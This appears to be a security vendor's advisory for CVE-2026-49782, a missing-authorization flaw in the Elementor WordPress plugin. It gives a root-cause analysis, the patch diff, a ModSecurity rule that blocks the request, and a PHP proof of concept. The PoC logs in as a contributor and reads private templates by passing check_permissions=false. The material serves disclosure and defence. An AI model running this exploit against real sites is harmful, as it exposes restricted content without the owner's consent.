Published : June 21, 2026

CVE-2026-49782: Elementor Website Builder – more than just a page builder <= 4.1.0 Missing Authorization PoC, Patch Analysis & Rule

Plugin elementor
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.1.0
Patched Version 4.1.1
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49782:
This vulnerability concerns a missing authorization check in the Elementor Website Builder plugin for WordPress (versions up to and including 4.1.0). An authenticated attacker with contributor-level access or above can bypass permission checks to read private or non-published template library items. The vulnerability carries a CVSS score of 4.3 (CWE-862) and affects the template library source functionality.

The root cause lies in the `is_allowed_to_read_template` method within `/elementor/includes/template-library/sources/local.php`. In the vulnerable version, the method first calls `should_check_permissions()` which examines a `check_permissions` array key in the `$args` parameter. If `$args[‘check_permissions’]` is set to `false`, the entire permission check is skipped, returning `true` regardless of the user’s actual capabilities. This bypass allows any authenticated user to read templates that should require `edit_post` capabilities. The vulnerable code path also included an unused import (`Elementor_Adapter`) and an unnecessary method `should_check_permissions`.

Exploitation is straightforward. An authenticated attacker with contributor-level access sends a request to the Elementor REST API or AJAX endpoint that triggers `is_allowed_to_read_template` with the `check_permissions` parameter set to `false`. This could be accomplished via any endpoint that accepts `template_id` and `check_permissions` arguments, such as the Elementor template library AJAX handler. The attacker simply needs to include `&check_permissions=false` in the request to bypass the authorization check.

The patch removes the `should_check_permissions` function entirely and simplifies `is_allowed_to_read_template`. The new logic checks if the post has status ‘publish’ and is not password-protected; if so, it allows reading. Otherwise, it requires `edit_post` capabilities. This eliminates the bypass by removing the `check_permissions` parameter entirely, ensuring all template reads go through proper capability validation.

If exploited, an attacker can read private, draft, or pending templates that belong to other users or are otherwise restricted. This could expose sensitive content, proprietary designs, or internal information stored in template library items.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/elementor/elementor.php
+++ b/elementor/elementor.php
@@ -3,7 +3,7 @@
  * Plugin Name: Elementor
  * Description: The Elementor Website Builder has it all: drag and drop page builder, Atomic Editor, pixel perfect design, global and reusable style systems, mobile responsive editing, and more. Get started now!
  * Plugin URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
- * Version: 4.1.0
+ * Version: 4.1.1
  * Author: Elementor.com
  * Author URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
  * Requires PHP: 7.4
@@ -28,7 +28,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'ELEMENTOR_VERSION', '4.1.0' );
+define( 'ELEMENTOR_VERSION', '4.1.1' );

 define( 'ELEMENTOR__FILE__', __FILE__ );
 define( 'ELEMENTOR_PLUGIN_BASE', plugin_basename( ELEMENTOR__FILE__ ) );
--- a/elementor/includes/template-library/sources/local.php
+++ b/elementor/includes/template-library/sources/local.php
@@ -15,7 +15,6 @@
 use ElementorUser;
 use ElementorCoreIsolationWordpress_Adapter;
 use ElementorCoreIsolationWordpress_Adapter_Interface;
-use ElementorCoreIsolationElementor_Adapter;
 use ElementorCoreIsolationElementor_Adapter_Interface;
 use ElementorModulesEditorOneClassesMenu_Data_Provider;
 use ElementorIncludesTemplateLibrarySourcesAdminMenuItemsEditor_One_Saved_Templates_Menu;
@@ -1998,31 +1997,16 @@
 			$this->set_wordpress_adapter( new WordPress_Adapter() );
 		}

-		if ( ! $this->should_check_permissions( $args ) ) {
-			return true;
-		}
-
 		$post_id = intval( $args['template_id'] );
 		$post_status = $this->wordpress_adapter->get_post_status( $post_id );
-		$is_private_or_non_published = ( 'private' === $post_status && ! $this->wordpress_adapter->current_user_can( 'read_private_posts', $post_id ) ) || ( 'publish' !== $post_status );
-
-		$can_read_template = ! $is_private_or_non_published || $this->wordpress_adapter->current_user_can( 'edit_post', $post_id );
-
-		return apply_filters( 'elementor/template-library/is_allowed_to_read_template', $can_read_template, $args );
-	}

-	private function should_check_permissions( array $args ): bool {
-		if ( null === $this->elementor_adapter ) {
-			$this->set_elementor_adapter( new Elementor_Adapter() );
+		if ( 'publish' === $post_status && ! post_password_required( $post_id ) ) {
+			return true;
 		}

-		$check_permissions = isset( $args['check_permissions'] ) && false === $args['check_permissions'];
-
-		if ( $check_permissions ) {
-			return false;
-		}
+		$can_read_template = $this->wordpress_adapter->current_user_can( 'edit_post', $post_id );

-		return true;
+		return apply_filters( 'elementor/template-library/is_allowed_to_read_template', $can_read_template, $args );
 	}

 	public function set_wordpress_adapter( Wordpress_Adapter_Interface $wordpress_adapter ) {
--- a/elementor/modules/atomic-widgets/props-resolver/props-resolver.php
+++ b/elementor/modules/atomic-widgets/props-resolver/props-resolver.php
@@ -74,10 +74,17 @@
 				return null;
 			}

-			$value['value'] = array_map(
-				fn( $item ) => $this->resolve_item( $item, null, $prop_type->get_item_type() ),
-				$value['value']
-			);
+			$resolved_items = [];
+
+			foreach ( $value['value'] as $item ) {
+				$resolved = $this->resolve_item( $item, null, $prop_type->get_item_type() );
+
+				if ( null !== $resolved ) {
+					$resolved_items[] = $resolved;
+				}
+			}
+
+			$value['value'] = $resolved_items;
 		}

 		$transformer = $this->transformers_registry->get( $value['$$type'] );
--- a/elementor/modules/site-navigation/data/endpoints/duplicate-post.php
+++ b/elementor/modules/site-navigation/data/endpoints/duplicate-post.php
@@ -49,7 +49,7 @@

 		$post = get_post( $post_id );

-		if ( ! User::is_current_user_can_edit_post_type( $post->post_type ) ) {
+		if ( ! User::is_current_user_can_edit( $post_id ) ) {
 			$sanitized_post_type = esc_html( str_replace( '%', '%%', $post->post_type ) );
 			return new WP_Error( 401, sprintf( 'User dont have capability to create page of type - %s.', $sanitized_post_type ), [ 'status' => 401 ] );
 		}
--- a/elementor/vendor/composer/installed.php
+++ b/elementor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'elementor/elementor',
         'pretty_version' => '4.01.x-dev',
         'version' => '4.01.9999999.9999999-dev',
-        'reference' => '07793f7c65cb1039ec3e8d123eb3e9fc8cda282c',
+        'reference' => '3bef116ced70900f4fbf141f70df2a43374893b5',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'elementor/elementor' => array(
             'pretty_version' => '4.01.x-dev',
             'version' => '4.01.9999999.9999999-dev',
-            'reference' => '07793f7c65cb1039ec3e8d123eb3e9fc8cda282c',
+            'reference' => '3bef116ced70900f4fbf141f70df2a43374893b5',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-49782 via Elementor AJAX template read',severity:'CRITICAL',tag:'CVE-2026-49782'"
SecRule ARGS_POST:action "@streq elementor_get_template" "chain"
SecRule ARGS_POST:check_permissions "@streq false" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49782 - Elementor Website Builder – more than just a page builder <= 4.1.0 - Missing Authorization

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
$username = 'contributor'; // WordPress username with contributor role
$password = 'password'; // Password for the above user

// Step 1: Authenticate to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Authenticated to WordPressn";

// Step 2: Fetch nonce from Elementor template library admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php?post_type=elementor_library');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
preg_match('/nonce=([a-f0-9]+)/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
curl_close($ch);

echo "[*] Got nonce: " . $nonce . "n";

// Step 3: Try to read a private template by ID (adjust template_id as needed)
$template_id = 1; // This should be a private/draft template ID
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=elementor_get_template&template_id=' . $template_id . '&check_permissions=false');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] HTTP Status: " . $http_code . "n";
echo "[*] Response:n" . $response . "n";

// Clean up
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School